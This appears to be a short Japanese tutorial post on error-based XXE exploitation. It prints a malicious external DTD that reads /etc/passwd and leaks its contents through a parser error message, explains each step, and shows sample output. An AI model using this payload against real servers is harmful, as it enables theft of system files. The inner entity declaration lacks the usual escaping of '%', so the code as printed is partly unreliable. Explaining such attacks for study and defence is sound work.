Hello there, ('ω')ノ
被害者のサーバから取得したい機密データを含むエラー メッセージを含む
XML 解析エラーを引き起こすことは、XXE 脆弱性を悪用するもう 1 つの
代替アプローチで。
サーバからの応答に含まれるエラー メッセージ
(サーバがエラー メッセージを返した場合)には、読み取りたいファイルの
内容に含まれるエラー メッセージが含まれる可能性があって。
以下のような外部の悪意のある DTD ファイルを使用すると、
/etc/passwd ファイルの内容を含むエラー メッセージをトリガできて。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
DTD が順番に実行する手順は次のとおり。
XML パラメータ エンティティは、/etc/passwd ファイルの内容を含む
ファイル名で定義され。
eval という名前の別の XML パラメータエンティティ (error) の
動的通知の定義を含むエンティティが定義されていて。
error エンティティは、到達したいファイル名を含むファイルから
ロードしようとするが、そのファイルは存在せず。
存在しないファイルをロードしようとすることで、
error エンティティが呼び出され。
これにより、/etc/passwd ファイルの内容が、存在しないファイルの名前を
含むエラー メッセージとともに返され。
返される応答は次のようになり。
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Best regards, (^^ゞ